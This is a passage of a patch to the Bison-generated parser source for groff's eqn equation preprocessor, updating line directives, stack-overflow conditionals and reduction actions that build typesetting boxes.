-+ YY_ASSERT (0 <= yystate && yystate < YYNSTATES);
- *yyssp = (yytype_int16) yystate;
-
- if (yyss + yystacksize - 1 <= yyssp)
-+#if !defined yyoverflow && !defined YYSTACK_RELOCATE
-+ goto yyexhaustedlab;
-+#else
- {
- /* Get the current used size of the three stacks, in elements. */
- YYSIZE_T yysize = (YYSIZE_T) (yyssp - yyss + 1);
-
--#ifdef yyoverflow
-+# if defined yyoverflow
- {
- /* Give user a chance to reallocate the stack. Use copies of
- these so that the &'s don't force the real ones into
-@@ -1338,10 +1359,7 @@ yyparse (void)
- yyss = yyss1;
- yyvs = yyvs1;
- }
--#else /* no yyoverflow */
--# ifndef YYSTACK_RELOCATE
-- goto yyexhaustedlab;
--# else
-+# else /* defined YYSTACK_RELOCATE */
- /* Extend the stack our own way. */
- if (YYMAXDEPTH <= yystacksize)
- goto yyexhaustedlab;
-@@ -1357,12 +1375,11 @@ yyparse (void)
- goto yyexhaustedlab;
- YYSTACK_RELOCATE (yyss_alloc, yyss);
- YYSTACK_RELOCATE (yyvs_alloc, yyvs);
--# undef YYSTACK_RELOCATE
-+# undef YYSTACK_RELOCATE
- if (yyss1 != yyssa)
- YYSTACK_FREE (yyss1);
- }
- # endif
--#endif /* no yyoverflow */
-
- yyssp = yyss + yysize - 1;
- yyvsp = yyvs + yysize - 1;
-@@ -1373,19 +1390,18 @@ yyparse (void)
- if (yyss + yystacksize - 1 <= yyssp)
- YYABORT;
- }
--
-- YYDPRINTF ((stderr, "Entering state %d\n", yystate));
-+#endif /* !defined yyoverflow && !defined YYSTACK_RELOCATE */
-
- if (yystate == YYFINAL)
- YYACCEPT;
-
- goto yybackup;
-
-+
- /*-----------.
- | yybackup. |
- `-----------*/
- yybackup:
--
- /* Do appropriate processing given the current state. Read a
- lookahead token if we need one and don't already have one. */
-
-@@ -1443,7 +1459,6 @@ yybackup:
- YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN
- *++yyvsp = yylval;
- YY_IGNORE_MAYBE_UNINITIALIZED_END
--
- goto yynewstate;
-
-
-@@ -1458,7 +1473,7 @@ yydefault:
-
-
- /*-----------------------------.
--| yyreduce -- Do a reduction. |
-+| yyreduce -- do a reduction. |
- `-----------------------------*/
- yyreduce:
- /* yyn is the number of a rule to reduce with. */
-@@ -1478,20 +1493,20 @@ yyreduce:
- YY_REDUCE_PRINT (yyn);
- switch (yyn)
- {
-- case 3:
--#line 124 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+ case 3:
-+#line 128 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].b)->top_level(); non_empty_flag = 1; }
--#line 1485 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1500 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 4:
--#line 129 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 133 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[0].b); }
--#line 1491 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1506 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 5:
--#line 131 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 135 "src/preproc/eqn/eqn.ypp"
- {
- list_box *lb = (yyvsp[-1].b)->to_list_box();
- if (!lb)
-@@ -1499,436 +1514,437 @@ yyreduce:
- lb->append((yyvsp[0].b));
- (yyval.b) = lb;
- }
--#line 1503 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1518 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 6:
--#line 142 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 146 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[0].b); }
--#line 1509 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1524 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 7:
--#line 144 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 148 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_mark_box((yyvsp[0].b)); }
--#line 1515 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1530 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 8:
--#line 146 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 150 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_lineup_box((yyvsp[0].b)); }
--#line 1521 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1536 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 9:
--#line 151 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 155 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[0].b); }
--#line 1527 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1542 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 10:
--#line 153 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 157 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_limit_box((yyvsp[-2].b), 0, (yyvsp[0].b)); }
--#line 1533 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1548 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 11:
--#line 155 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 159 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_limit_box((yyvsp[-2].b), (yyvsp[0].b), 0); }
--#line 1539 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1554 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 12:
--#line 157 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 161 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_limit_box((yyvsp[-4].b), (yyvsp[-2].b), (yyvsp[0].b)); }
--#line 1545 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1560 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 13:
--#line 159 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 163 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_limit_box((yyvsp[-4].b), make_limit_box((yyvsp[-2].b), (yyvsp[0].b), 0), 0); }
--#line 1551 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1566 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 14:
--#line 164 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 168 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[0].b); }
--#line 1557 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1572 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 15:
--#line 166 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 170 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_sqrt_box((yyvsp[0].b)); }
--#line 1563 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1578 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 16:
--#line 168 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 172 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_over_box((yyvsp[-2].b), (yyvsp[0].b)); }
--#line 1569 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1584 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 17:
--#line 170 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 174 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_small_over_box((yyvsp[-2].b), (yyvsp[0].b)); }
--#line 1575 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1590 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 18:
--#line 175 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 179 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[0].b); }
--#line 1581 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1596 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 19:
--#line 177 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 181 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_script_box((yyvsp[-2].b), 0, (yyvsp[0].b)); }
--#line 1587 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1602 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 20:
--#line 182 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 186 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[0].b); }
--#line 1593 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1608 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 21:
--#line 184 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 188 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_script_box((yyvsp[-2].b), (yyvsp[0].b), 0); }
--#line 1599 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1614 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 22:
--#line 186 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 190 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_script_box((yyvsp[-4].b), (yyvsp[-2].b), (yyvsp[0].b)); }
--#line 1605 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1620 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 23:
--#line 191 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 195 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = split_text((yyvsp[0].str)); }
--#line 1611 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1626 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 24:
--#line 193 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 197 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new quoted_text_box((yyvsp[0].str)); }
--#line 1617 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1632 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 25:
--#line 195 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 199 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = split_text((yyvsp[0].str)); }
--#line 1623 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1638 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 26:
--#line 197 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 201 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new quoted_text_box((yyvsp[0].str)); }
--#line 1629 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1644 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 27:
--#line 199 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 203 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new half_space_box; }
--#line 1635 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1650 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 28:
--#line 201 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 205 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new space_box; }
--#line 1641 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1656 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 29:
--#line 203 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 207 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new tab_box; }
--#line 1647 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1662 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 30:
--#line 205 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 209 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[-1].b); }
--#line 1653 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1668 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 31:
--#line 207 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 211 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].pb)->set_alignment(CENTER_ALIGN); (yyval.b) = (yyvsp[0].pb); }
--#line 1659 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1674 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 32:
--#line 209 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 213 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].pb)->set_alignment(LEFT_ALIGN); (yyval.b) = (yyvsp[0].pb); }
--#line 1665 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1680 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 33:
--#line 211 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 215 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].pb)->set_alignment(RIGHT_ALIGN); (yyval.b) = (yyvsp[0].pb); }
--#line 1671 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1686 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 34:
--#line 213 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 217 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].pb)->set_alignment(CENTER_ALIGN); (yyval.b) = (yyvsp[0].pb); }
--#line 1677 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1692 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 35:
--#line 215 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 219 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = (yyvsp[-1].mb); }
--#line 1683 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1698 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 36:
--#line 217 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 221 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_delim_box((yyvsp[-3].str), (yyvsp[-2].b), (yyvsp[0].str)); }
--#line 1689 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1704 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 37:
--#line 219 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 223 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_delim_box((yyvsp[-1].str), (yyvsp[0].b), 0); }
--#line 1695 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1710 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 38:
--#line 221 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 225 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_overline_box((yyvsp[-1].b)); }
--#line 1701 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1716 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 39:
--#line 223 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 227 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_underline_box((yyvsp[-1].b)); }
--#line 1707 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1722 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 40:
--#line 225 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 229 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_prime_box((yyvsp[-1].b)); }
--#line 1713 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1728 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 41:
--#line 227 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 231 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_accent_box((yyvsp[-2].b), (yyvsp[0].b)); }
--#line 1719 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1734 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 42:
--#line 229 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 233 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_uaccent_box((yyvsp[-2].b), (yyvsp[0].b)); }
--#line 1725 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1740 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 43:
--#line 231 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 235 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new font_box(strsave(get_grfont()), (yyvsp[0].b)); }
--#line 1731 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1746 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 44:
--#line 233 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 237 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new font_box(strsave(get_gbfont()), (yyvsp[0].b)); }
--#line 1737 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1752 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 45:
--#line 235 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 239 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new font_box(strsave(get_gfont()), (yyvsp[0].b)); }
--#line 1743 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1758 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 46:
--#line 237 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 241 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new fat_box((yyvsp[0].b)); }
--#line 1749 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1764 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 47:
--#line 239 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 243 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new font_box((yyvsp[-1].str), (yyvsp[0].b)); }
--#line 1755 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1770 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 48:
--#line 241 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 245 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new size_box((yyvsp[-1].str), (yyvsp[0].b)); }
--#line 1761 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1776 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 49:
--#line 243 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 247 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new hmotion_box((yyvsp[-1].n), (yyvsp[0].b)); }
--#line 1767 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1782 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 50:
--#line 245 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 249 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new hmotion_box(-(yyvsp[-1].n), (yyvsp[0].b)); }
--#line 1773 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1788 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 51:
--#line 247 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 251 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new vmotion_box((yyvsp[-1].n), (yyvsp[0].b)); }
--#line 1779 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1794 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 52:
--#line 249 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 253 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new vmotion_box(-(yyvsp[-1].n), (yyvsp[0].b)); }
--#line 1785 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1800 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 53:
--#line 251 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 255 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].b)->set_spacing_type((yyvsp[-1].str)); (yyval.b) = (yyvsp[0].b); }
--#line 1791 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1806 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 54:
--#line 253 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 257 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = new vcenter_box((yyvsp[0].b)); }
--#line 1797 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1812 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 55:
--#line 255 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 259 "src/preproc/eqn/eqn.ypp"
- { (yyval.b) = make_special_box((yyvsp[-1].str), (yyvsp[0].b)); }
--#line 1803 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1818 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 56:
--#line 260 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 264 "src/preproc/eqn/eqn.ypp"
- {
- int n;
- if (sscanf((yyvsp[0].str), "%d", &n) == 1)
- (yyval.n) = n;
- a_delete (yyvsp[0].str);
- }
--#line 1814 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1829 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 57:
--#line 270 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 274 "src/preproc/eqn/eqn.ypp"
- { (yyval.pb) = new pile_box((yyvsp[0].b)); }
--#line 1820 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1835 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 58:
--#line 272 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 276 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[-2].pb)->append((yyvsp[0].b)); (yyval.pb) = (yyvsp[-2].pb); }
--#line 1826 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1841 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 59:
--#line 277 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 281 "src/preproc/eqn/eqn.ypp"
- { (yyval.pb) = (yyvsp[-1].pb); }
--#line 1832 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1847 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 60:
--#line 279 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 283 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[-1].pb)->set_space((yyvsp[-3].n)); (yyval.pb) = (yyvsp[-1].pb); }
--#line 1838 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1853 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 61:
--#line 284 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 288 "src/preproc/eqn/eqn.ypp"
- { (yyval.mb) = new matrix_box((yyvsp[0].col)); }
--#line 1844 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1859 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 62:
--#line 286 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 290 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[-1].mb)->append((yyvsp[0].col)); (yyval.mb) = (yyvsp[-1].mb); }
--#line 1850 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1865 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 63:
--#line 291 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 295 "src/preproc/eqn/eqn.ypp"
- { (yyval.col) = new column((yyvsp[0].b)); }
--#line 1856 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1871 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 64:
--#line 293 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 297 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[-2].col)->append((yyvsp[0].b)); (yyval.col) = (yyvsp[-2].col); }
--#line 1862 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1877 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 65:
--#line 298 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 302 "src/preproc/eqn/eqn.ypp"
- { (yyval.col) = (yyvsp[-1].col); }
--#line 1868 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1883 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 66:
--#line 300 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 304 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[-1].col)->set_space((yyvsp[-3].n)); (yyval.col) = (yyvsp[-1].col); }
--#line 1874 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1889 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 67:
--#line 305 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 309 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].col)->set_alignment(CENTER_ALIGN); (yyval.col) = (yyvsp[0].col); }
--#line 1880 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1895 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 68:
--#line 307 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 311 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].col)->set_alignment(LEFT_ALIGN); (yyval.col) = (yyvsp[0].col); }
--#line 1886 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1901 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 69:
--#line 309 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 313 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].col)->set_alignment(RIGHT_ALIGN); (yyval.col) = (yyvsp[0].col); }
--#line 1892 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1907 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 70:
--#line 311 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 315 "src/preproc/eqn/eqn.ypp"
- { (yyvsp[0].col)->set_alignment(CENTER_ALIGN); (yyval.col) = (yyvsp[0].col); }
--#line 1898 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1913 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 71:
--#line 315 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 319 "src/preproc/eqn/eqn.ypp"
- { (yyval.str) = (yyvsp[0].str); }
--#line 1904 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1919 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 72:
--#line 317 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 321 "src/preproc/eqn/eqn.ypp"
- { (yyval.str) = (yyvsp[0].str); }
--#line 1910 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1925 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 73:
--#line 322 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 326 "src/preproc/eqn/eqn.ypp"
- { (yyval.str) = (yyvsp[0].str); }
--#line 1916 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1931 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 74:
--#line 324 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 328 "src/preproc/eqn/eqn.ypp"
- { (yyval.str) = strsave("{"); }
--#line 1922 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1937 "src/preproc/eqn/eqn.cpp"
- break;
-
- case 75:
--#line 326 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */
-+#line 330 "src/preproc/eqn/eqn.ypp"
- { (yyval.str) = strsave("}"); }
--#line 1928 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1943 "src/preproc/eqn/eqn.cpp"
- break;
-
-
--#line 1932 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */
-+#line 1947 "src/preproc/eqn/eqn.cpp"
-+
- default: break;
- }
- /* User semantic actions sometimes alter yychar, and that requires
-@@ -2042,12 +2058,10 @@ yyerrlab:
- | yyerrorlab -- error raised explicitly by YYERROR. |
- `---------------------------------------------------*/
- yyerrorlab:
--
-- /* Pacify compilers like GCC when the user code never invokes
-- YYERROR and the label yyerrorlab therefore never appears in user
-- code. */
-- if (/*CONSTCOND*/ 0)
-- goto yyerrorlab;
-+ /* Pacify compilers when the user code never invokes YYERROR and the
-+ label yyerrorlab therefore never appears in user code. */
-+ if (0)
-+ YYERROR;
-
